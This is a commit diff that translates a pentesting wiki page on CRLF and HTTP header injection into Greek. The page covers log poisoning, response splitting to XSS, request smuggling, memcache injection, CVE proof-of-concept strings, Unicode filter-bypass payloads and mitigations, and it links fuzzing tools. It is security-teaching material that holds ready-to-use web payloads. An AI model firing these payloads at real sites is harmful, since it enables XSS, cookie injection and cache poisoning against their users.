Translated ['src/pentesting-web/crlf-0d-0a.md'] to el

This commit is contained in:
Translator 2025-07-16 16:10:31 +00:00
parent 16259c1ad5
commit a6625d64dd

View File

@ -4,7 +4,7 @@
### CRLF
Ο χαρακτήρας Carriage Return (CR) και ο χαρακτήρας Line Feed (LF), συλλογικά γνωστοί ως CRLF, είναι ειδικές ακολουθίες χαρακτήρων που χρησιμοποιούνται στο πρωτόκολλο HTTP για να δηλώσουν το τέλος μιας γραμμής ή την αρχή μιας νέας. Οι διακομιστές ιστού και οι περιηγητές χρησιμοποιούν το CRLF για να διακρίνουν μεταξύ των HTTP headers και του σώματος μιας απάντησης. Αυτοί οι χαρακτήρες χρησιμοποιούνται καθολικά σε επικοινωνίες HTTP/1.1 σε διάφορους τύπους διακομιστών ιστού, όπως οι Apache και Microsoft IIS.
Ο χαρακτήρας Carriage Return (CR) και ο χαρακτήρας Line Feed (LF), γνωστοί συλλογικά ως CRLF, είναι ειδικές ακολουθίες χαρακτήρων που χρησιμοποιούνται στο πρωτόκολλο HTTP για να δηλώσουν το τέλος μιας γραμμής ή την αρχή μιας νέας. Οι διακομιστές ιστού και οι περιηγητές χρησιμοποιούν το CRLF για να διακρίνουν μεταξύ των HTTP headers και του σώματος μιας απάντησης. Αυτοί οι χαρακτήρες χρησιμοποιούνται καθολικά σε επικοινωνίες HTTP/1.1 σε διάφορους τύπους διακομιστών ιστού, όπως οι Apache και Microsoft IIS.
### CRLF Injection Vulnerability
@ -18,31 +18,31 @@
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί μια CRLF ένεση για να χειριστεί αυτό το αρχείο καταγραφής. Εισάγοντας χαρακτήρες CRLF στο HTTP αίτημα, ο επιτιθέμενος μπορεί να αλλάξει τη ροή εξόδου και να κατασκευάσει καταχωρήσεις αρχείου καταγραφής. Για παράδειγμα, μια εισαχθείσα ακολουθία μπορεί να μετατρέψει την καταχώρηση του αρχείου καταγραφής σε:
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί μια CRLF ένεση για να χειριστεί αυτό το αρχείο καταγραφής. Εισάγοντας χαρακτήρες CRLF στο HTTP αίτημα, ο επιτιθέμενος μπορεί να αλλάξει τη ροή εξόδου και να κατασκευάσει καταχωρήσεις καταγραφής. Για παράδειγμα, μια εισαχθείσα ακολουθία μπορεί να μετατρέψει την καταχώρηση καταγραφής σε:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Εδώ, `%0d` και `%0a` αντιπροσωπεύουν τις URL-κωδικοποιημένες μορφές CR και LF. Μετά την επίθεση, το αρχείο καταγραφής θα εμφανίζεται παραπλανητικά:
Εδώ, `%0d` και `%0a` αντιπροσωπεύουν τις URL-κωδικοποιημένες μορφές του CR και LF. Μετά την επίθεση, το αρχείο καταγραφής θα εμφανίζεται παραπλανητικά:
```
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Ο επιτιθέμενος έτσι καλύπτει τις κακόβουλες δραστηριότητές του κάνοντάς το να φαίνεται ότι ο localhost (μια οντότητα που συνήθως εμπιστεύεται μέσα στο περιβάλλον του διακομιστή) εκτέλεσε τις ενέργειες. Ο διακομιστής ερμηνεύει το μέρος του ερωτήματος που ξεκινά με `%0d%0a` ως μία μόνο παράμετρο, ενώ η παράμετρος `restrictedaction` αναλύεται ως μια άλλη, ξεχωριστή είσοδος. Το παραποιημένο ερώτημα μιμείται αποτελεσματικά μια νόμιμη διοικητική εντολή: `/index.php?page=home&restrictedaction=edit`
Ο επιτιθέμενος έτσι καλύπτει τις κακόβουλες δραστηριότητές του κάνοντάς το να φαίνεται σαν να εκτέλεσε τις ενέργειες ο localhost (μια οντότητα που συνήθως εμπιστεύεται μέσα στο περιβάλλον του διακομιστή). Ο διακομιστής ερμηνεύει το μέρος του ερωτήματος που ξεκινά με `%0d%0a` ως μία μόνο παράμετρο, ενώ η παράμετρος `restrictedaction` αναλύεται ως μια άλλη, ξεχωριστή είσοδος. Το παραποιημένο ερώτημα μιμείται αποτελεσματικά μια νόμιμη διοικητική εντολή: `/index.php?page=home&restrictedaction=edit`
### HTTP Response Splitting
#### Περιγραφή
Το HTTP Response Splitting είναι μια ευπάθεια ασφαλείας που προκύπτει όταν ένας επιτιθέμενος εκμεταλλεύεται τη δομή των HTTP απαντήσεων. Αυτή η δομή χωρίζει τις κεφαλίδες από το σώμα χρησιμοποιώντας μια συγκεκριμένη ακολουθία χαρακτήρων, Carriage Return (CR) ακολουθούμενη από Line Feed (LF), που ονομάζεται συλλογικά CRLF. Εάν ένας επιτιθέμενος καταφέρει να εισάγει μια ακολουθία CRLF σε μια κεφαλίδα απάντησης, μπορεί να χειραγωγήσει αποτελεσματικά το περιεχόμενο της επόμενης απάντησης. Αυτός ο τύπος χειραγώγησης μπορεί να οδηγήσει σε σοβαρά ζητήματα ασφαλείας, ιδίως Cross-site Scripting (XSS).
Το HTTP Response Splitting είναι μια ευπάθεια ασφαλείας που προκύπτει όταν ένας επιτιθέμενος εκμεταλλεύεται τη δομή των HTTP απαντήσεων. Αυτή η δομή χωρίζει τις κεφαλίδες από το σώμα χρησιμοποιώντας μια συγκεκριμένη ακολουθία χαρακτήρων, Carriage Return (CR) ακολουθούμενη από Line Feed (LF), που ονομάζεται συλλογικά CRLF. Εάν ένας επιτιθέμενος καταφέρει να εισάγει μια ακολουθία CRLF σε μια κεφαλίδα απάντησης, μπορεί να χειριστεί αποτελεσματικά το περιεχόμενο της επόμενης απάντησης. Αυτός ο τύπος χειρισμού μπορεί να οδηγήσει σε σοβαρά ζητήματα ασφαλείας, ιδίως Cross-site Scripting (XSS).
#### XSS μέσω HTTP Response Splitting
1. Η εφαρμογή ορίζει μια προσαρμοσμένη κεφαλίδα όπως αυτή: `X-Custom-Header: UserInput`
2. Η εφαρμογή ανακτά την τιμή για το `UserInput` από μια παράμετρο ερωτήματος, ας πούμε "user_input". Σε σενάρια που λείπει η κατάλληλη επικύρωση και κωδικοποίηση εισόδου, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα payload που περιλαμβάνει την ακολουθία CRLF, ακολουθούμενη από κακόβουλο περιεχόμενο.
3. Ένας επιτιθέμενος δημιουργεί μια διεύθυνση URL με μια ειδικά κατασκευασμένη 'user_input': `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
- Σε αυτή τη διεύθυνση URL, το `%0d%0a%0d%0a` είναι η URL-encoded μορφή του CRLFCRLF. Εξαπατά τον διακομιστή να εισάγει μια ακολουθία CRLF, κάνοντάς τον να θεωρεί το επόμενο μέρος ως το σώμα της απάντησης.
- Σε αυτή τη διεύθυνση URL, το `%0d%0a%0d%0a` είναι η URL-κωδικοποιημένη μορφή του CRLFCRLF. Εξαπατά τον διακομιστή να εισάγει μια ακολουθία CRLF, κάνοντάς τον να θεωρεί το επόμενο μέρος ως το σώμα της απάντησης.
4. Ο διακομιστής ανακλά την είσοδο του επιτιθέμενου στην κεφαλίδα απάντησης, οδηγώντας σε μια μη προγραμματισμένη δομή απάντησης όπου το κακόβουλο σενάριο ερμηνεύεται από τον περιηγητή ως μέρος του σώματος της απάντησης.
#### Ένα παράδειγμα HTTP Response Splitting που οδηγεί σε Ανακατεύθυνση
@ -111,9 +111,9 @@ $client->__soapCall("test", []);
```
### Header Injection to Request Smuggling
Για περισσότερες πληροφορίες σχετικά με αυτή την τεχνική και πιθανά προβλήματα [**ελέγξτε την αρχική πηγή**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
Για περισσότερες πληροφορίες σχετικά με αυτή την τεχνική και τα πιθανά προβλήματα [**ελέγξτε την αρχική πηγή**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
Μπορείτε να εισάγετε βασικούς κεφαλίδες για να διασφαλίσετε ότι **ο back-end διατηρεί τη σύνδεση ανοιχτή** μετά την απάντηση στο αρχικό αίτημα:
Μπορείτε να εισάγετε βασικούς headers για να διασφαλίσετε ότι το **back-end διατηρεί τη σύνδεση ανοιχτή** μετά την απάντηση στο αρχικό αίτημα:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
@ -125,7 +125,7 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2. **Δημιουργία Προθέματος για Δηλητηρίαση Ουράς Απαντήσεων**: Αυτή η προσέγγιση περιλαμβάνει τη δημιουργία ενός προθέματος που, όταν συνδυαστεί με υπολειπόμενα σκουπίδια, σχηματίζει ένα πλήρες δεύτερο αίτημα. Αυτό μπορεί να προκαλέσει δηλητηρίαση της ουράς απαντήσεων. Ένα παράδειγμα είναι:
2. **Δημιουργία Προθέματος για Δηλητηρίαση Ουράς Απαντήσεων**: Αυτή η προσέγγιση περιλαμβάνει τη δημιουργία ενός προθέματος που, όταν συνδυαστεί με υπολείμματα, σχηματίζει ένα πλήρες δεύτερο αίτημα. Αυτό μπορεί να προκαλέσει δηλητηρίαση της ουράς απαντήσεων. Ένα παράδειγμα είναι:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
@ -137,7 +137,7 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
../network-services-pentesting/11211-memcache/
{{#endref}}
**Για πλήρεις πληροφορίες διαβάστε την**[ **αρχική αναφορά**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
**Για πλήρεις πληροφορίες διαβάστε την**[ **αρχική ανάλυση**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
Εάν μια πλατφόρμα λαμβάνει **δεδομένα από ένα HTTP αίτημα και τα χρησιμοποιεί χωρίς απολύμανση** για να εκτελέσει **αιτήματα** σε έναν **διακομιστή memcache**, ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτή τη συμπεριφορά για να **εισάγει νέες εντολές memcache**.
@ -153,9 +153,9 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
Για να μετριάσετε τους κινδύνους των CRLF (Carriage Return and Line Feed) ή των HTTP Header Injections σε ιστοσελίδες, προτείνονται οι εξής στρατηγικές:
1. **Αποφύγετε την Άμεση Είσοδο Χρήστη σε Κεφαλίδες Απαντήσεων:** Η ασφαλέστερη προσέγγιση είναι να αποφύγετε την ενσωμάτωση εισόδου που παρέχεται από τον χρήστη απευθείας σε κεφαλίδες απαντήσεων.
1. **Αποφύγετε την Άμεση Είσοδο Χρήστη σε Κεφαλίδες Απαντήσεων:** Η ασφαλέστερη προσέγγιση είναι να αποφύγετε την ενσωμάτωση εισερχόμενης πληροφορίας από χρήστες απευθείας σε κεφαλίδες απαντήσεων.
2. **Κωδικοποιήστε Ειδικούς Χαρακτήρες:** Εάν η αποφυγή άμεσης εισόδου χρήστη δεν είναι εφικτή, βεβαιωθείτε ότι χρησιμοποιείτε μια συνάρτηση αφιερωμένη στην κωδικοποίηση ειδικών χαρακτήρων όπως CR (Carriage Return) και LF (Line Feed). Αυτή η πρακτική αποτρέπει την πιθανότητα εισαγωγής CRLF.
3. **Ενημερώστε τη Γλώσσα Προγραμματισμού:** Ενημερώνετε τακτικά τη γλώσσα προγραμματισμού που χρησιμοποιείται στις ιστοσελίδες σας στην τελευταία έκδοση. Επιλέξτε μια έκδοση που από τη φύση της δεν επιτρέπει την εισαγωγή χαρακτήρων CR και LF μέσα σε συναρτήσεις που έχουν ανατεθεί στην ρύθμιση των HTTP κεφαλίδων.
3. **Ενημερώστε τη Γλώσσα Προγραμματισμού:** Ενημερώνετε τακτικά τη γλώσσα προγραμματισμού που χρησιμοποιείται στις ιστοσελίδες σας στην τελευταία έκδοση. Επιλέξτε μια έκδοση που από τη φύση της δεν επιτρέπει την εισαγωγή χαρακτήρων CR και LF μέσα σε συναρτήσεις που έχουν ανατεθεί να ρυθμίζουν τις κεφαλίδες HTTP.
### CHEATSHEET
@ -181,20 +181,57 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
### Πρόσφατες Ευπάθειες (2023 2025)
Τα τελευταία χρόνια έχουν παραχθεί αρκετά σφάλματα υψηλής επίπτωσης CRLF/HTTP header-injection σε ευρέως χρησιμοποιούμενα συστατικά server- και client-side. Η αναπαραγωγή και μελέτη τους τοπικά είναι ένας εξαιρετικός τρόπος κατανόησης των προτύπων εκμετάλλευσης στον πραγματικό κόσμο.
| Έτος | Συστατικό | CVE / Advisory | Ρίζα αιτίας | Έμφαση PoC |
|------|-----------|---------------|------------|---------------|
| 2024 | RestSharp (≥110.0.0 <110.2.0) | **CVE-2024-45302** | Ο βοηθός `AddHeader()` δεν απολύμανε το CR/LF, επιτρέποντας την κατασκευή πολλαπλών headers αιτήσεων όταν χρησιμοποιείται το RestSharp ως HTTP client μέσα σε υπηρεσίες back-end. Τα downstream συστήματα θα μπορούσαν να αναγκαστούν σε SSRF ή request smuggling. | `client.AddHeader("X-Foo","bar%0d%0aHost:evil")` |
| 2024 | Refit (≤ 7.2.101) | **CVE-2024-51501** | Τα attributes headers στις μεθόδους διεπαφής αντιγράφονταν αυτολεξεί στην αίτηση. Ενσωματώνοντας το `%0d%0a`, οι επιτιθέμενοι μπορούσαν να προσθέσουν αυθαίρετα headers ή ακόμα και μια δεύτερη αίτηση όταν χρησιμοποιούνταν το Refit από εργασίες server-side. | `[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")]` |
| 2023 | Apache APISIX Dashboard | **GHSA-4h3j-f5x9-r6x3** | Η παράμετρος `redirect` που παρέχεται από τον χρήστη ανακοινώθηκε σε ένα header `Location:` χωρίς κωδικοποίηση, επιτρέποντας ανοιχτό redirect + δηλητηρίαση cache. | `/login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>` |
Αυτά τα σφάλματα είναι σημαντικά επειδή ενεργοποιούνται **μέσα στον κωδικό επιπέδου εφαρμογής** και όχι μόνο στην άκρη του web-server. Κάθε εσωτερικό συστατικό που εκτελεί HTTP αιτήσεις ή ρυθμίζει headers απαντήσεων πρέπει επομένως να επιβάλλει φιλτράρισμα CR/LF.
### Προχωρημένες Παράκαμψεις Unicode / Χαρακτήρων Ελέγχου
Οι σύγχρονοι WAF/rewriter στοίβες συχνά αφαιρούν τα κυριολεκτικά `\r`/`\n` αλλά ξεχνούν άλλους χαρακτήρες που πολλές back-end εφαρμογές θεωρούν ως τερματιστές γραμμών. Όταν το CRLF φιλτράρεται, δοκιμάστε:
* `%E2%80%A8` (`U+2028` LINE SEPARATOR)
* `%E2%80%A9` (`U+2029` PARAGRAPH SEPARATOR)
* `%C2%85` (`U+0085` NEXT LINE)
Ορισμένα frameworks Java, Python και Go τα μετατρέπουν σε `\n` κατά την ανάλυση headers (βλ. την έρευνα Praetorian του 2023). Συνδυάστε τα με κλασικά payloads:
```
/%0A%E2%80%A8Set-Cookie:%20admin=true
```
Αν το φίλτρο κανονικοποιεί πρώτα το UTF-8, ο χαρακτήρας ελέγχου μετατρέπεται σε κανονικό line-feed και η εισαγόμενη κεφαλίδα γίνεται αποδεκτή.
### WAF Evasion via Duplicate `Content-Encoding` Trick (2023)
Οι ερευνητές της Praetorian έδειξαν επίσης ότι με την εισαγωγή:
```
%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
```
σε μια αντανάκλαση κεφαλίδας, οι φυλλομετρητές θα αγνοήσουν το σώμα που παρέχεται από τον διακομιστή και θα αποδώσουν το HTML που παρέχεται από τον επιτιθέμενο που ακολουθεί, δίνοντας αποθηκευμένο XSS ακόμη και όταν το περιεχόμενο της εφαρμογής είναι αδρανές. Επειδή το `Content-Encoding: identity` επιτρέπεται από το RFC 9110, πολλές αντίστροφες διακομιστές προώθησης το μεταφέρουν χωρίς αλλαγές.
## Αυτόματα Εργαλεία
- [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
- [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
* [CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) γρήγορος ενεργός σαρωτής γραμμένος σε Go.
* [crlfuzz](https://github.com/dwisiswant0/crlfuzz) fuzzer βασισμένος σε λίστες λέξεων που υποστηρίζει payloads Unicode newline.
* [crlfix](https://github.com/glebarez/crlfix) εργαλείο του 2024 που διορθώνει HTTP αιτήματα που παράγονται από προγράμματα Go και μπορεί να χρησιμοποιηθεί αυτόνομα για τη δοκιμή εσωτερικών υπηρεσιών.
## Λίστα Ανίχνευσης Brute-Force
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
- [carlospolop/Auto_Wordlists crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
## Αναφορές
- [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
- [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
- [https://www.invicti.com/blog/web-security/crlf-http-header/](https://www.invicti.com/blog/web-security/crlf-http-header/)
- [https://www.acunetix.com/websitesecurity/crlf-injection/](https://www.acunetix.com/websitesecurity/crlf-injection/)
- [https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [https://www.netsparker.com/blog/web-security/crlf-http-header/](https://www.netsparker.com/blog/web-security/crlf-http-header/)
- [https://nvd.nist.gov/vuln/detail/CVE-2024-45302](https://nvd.nist.gov/vuln/detail/CVE-2024-45302)
- [https://security.praetorian.com/blog/2023-unicode-newlines-bypass/](https://security.praetorian.com/blog/2023-unicode-newlines-bypass/)
{{#include ../banners/hacktricks-training.md}}